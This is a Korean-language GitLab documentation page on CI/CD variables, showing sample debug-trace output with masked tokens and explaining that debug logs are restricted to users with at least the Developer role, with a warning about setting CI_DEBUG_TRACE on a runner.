++ CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666
++ export CI_JOB_ID=7046507
++ CI_JOB_ID=7046507
++ export CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655
++ CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655
++ export CI_JOB_TOKEN=[MASKED]
++ CI_JOB_TOKEN=[MASKED]
++ export CI_REGISTRY_USER=gitlab-ci-token
++ CI_REGISTRY_USER=gitlab-ci-token
++ export CI_REGISTRY_PASSWORD=[MASKED]
++ CI_REGISTRY_PASSWORD=[MASKED]
++ export CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git
++ CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git
++ export CI_JOB_NAME=debug_trace
++ CI_JOB_NAME=debug_trace
++ export CI_JOB_STAGE=test
++ CI_JOB_STAGE=test
++ export CI_NODE_TOTAL=1
++ CI_NODE_TOTAL=1
++ export CI=true
++ CI=true
++ export GITLAB_CI=true
++ GITLAB_CI=true
++ export CI_SERVER_URL=https://gitlab.com:3000
++ CI_SERVER_URL=https://gitlab.com:3000
++ export CI_SERVER_HOST=gitlab.com
++ CI_SERVER_HOST=gitlab.com
++ export CI_SERVER_PORT=3000
++ CI_SERVER_PORT=3000
++ export CI_SERVER_SHELL_SSH_HOST=gitlab.com
++ CI_SERVER_SHELL_SSH_HOST=gitlab.com
++ export CI_SERVER_SHELL_SSH_PORT=22
++ CI_SERVER_SHELL_SSH_PORT=22
++ export CI_SERVER_PROTOCOL=https
++ CI_SERVER_PROTOCOL=https
++ export CI_SERVER_NAME=GitLab
++ CI_SERVER_NAME=GitLab
++ export GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
++ export CI_PROJECT_ID=17893
++ CI_PROJECT_ID=17893
++ export CI_PROJECT_NAME=ci-debug-trace
++ CI_PROJECT_NAME=ci-debug-trace
...

디버그 로깅 액세스

디버그 로깅 액세스는 최소한 개발자 역할을 가진 사용자에게 제한됩니다. 낮은 역할을 가진 사용자는 디버그 로깅이 활성화된 경우 다음과 같은 변수로 로그를 볼 수 없습니다.

.gitlab-ci.yml 파일.
GitLab UI에서 설정된 CI/CD 변수.

경고: 만약 CI_DEBUG_TRACE를 로컬 변수로 러너에 추가하면, 디버그 로그가 생성되고 작업 로그에 액세스할 수 있는 모든 사용자가 보입니다. 러너에서 권한 수준이 확인되지 않기 때문에 이 변수를 GitLab 자체에서만 사용해야 합니다.

GitLab CI/CD 변수

미리 정의된 CI/CD 변수

`.gitlab-ci.yml` 파일에 CI/CD 변수 정의

UI에서 CI/CD 변수 정의

그룹을 위한

환경 범위

인스턴스를 위한

CI/CD 변수 보안

CI/CD 변수 가리기

CI/CD 변수 보호

파일 유형 CI/CD 변수 사용

`.gitlab-ci.yml` 변수를 파일 유형 변수로 사용하기

작업 스크립트에서 CI/CD 변수 사용하기

Bash, `sh` 및 유사한 경우

PowerShell의 경우

Windows Batch의 경우

서비스 컨테이너에서

다른 job에 환경 변수 전달하기

`dotenv` 변수를 받는 작업 제어하기

동일 작업 내에서 `script` 섹션에서 다른 섹션으로 환경 변수 전달하기

하나의 변수에 여러 값을 저장하기

다른 변수에서 CI/CD 변수 사용하기

CI/CD 변수에서 `$` 문자 사용하기

CI/CD 변수 확장 방지

CI/CD 변수 우선 순위

정의된 CI/CD 변수 덮어쓰기

변수 재정의 권한 제한

최소 권한별로

변수 내보내기

관련 주제

문제 해결

모든 변수 나열

디버그 로깅 활성화

디버그 로깅 액세스

도움말

기능 사용 가능성과 제품 평가판

도움받기

GitLab CI/CD 변수

미리 정의된 CI/CD 변수

.gitlab-ci.yml 파일에 CI/CD 변수 정의

UI에서 CI/CD 변수 정의

그룹을 위한

환경 범위

인스턴스를 위한

CI/CD 변수 보안

CI/CD 변수 가리기

CI/CD 변수 보호

파일 유형 CI/CD 변수 사용

.gitlab-ci.yml 변수를 파일 유형 변수로 사용하기

작업 스크립트에서 CI/CD 변수 사용하기

Bash, sh 및 유사한 경우

PowerShell의 경우

Windows Batch의 경우

서비스 컨테이너에서

다른 job에 환경 변수 전달하기

dotenv 변수를 받는 작업 제어하기

동일 작업 내에서 script 섹션에서 다른 섹션으로 환경 변수 전달하기

하나의 변수에 여러 값을 저장하기

다른 변수에서 CI/CD 변수 사용하기

CI/CD 변수에서 $ 문자 사용하기

CI/CD 변수 확장 방지

CI/CD 변수 우선 순위

정의된 CI/CD 변수 덮어쓰기

변수 재정의 권한 제한

최소 권한별로

변수 내보내기

관련 주제

문제 해결

모든 변수 나열

디버그 로깅 활성화

디버그 로깅 액세스

도움말

기능 사용 가능성과 제품 평가판

도움받기

`.gitlab-ci.yml` 파일에 CI/CD 변수 정의

`.gitlab-ci.yml` 변수를 파일 유형 변수로 사용하기

Bash, `sh` 및 유사한 경우

`dotenv` 변수를 받는 작업 제어하기

동일 작업 내에서 `script` 섹션에서 다른 섹션으로 환경 변수 전달하기

CI/CD 변수에서 `$` 문자 사용하기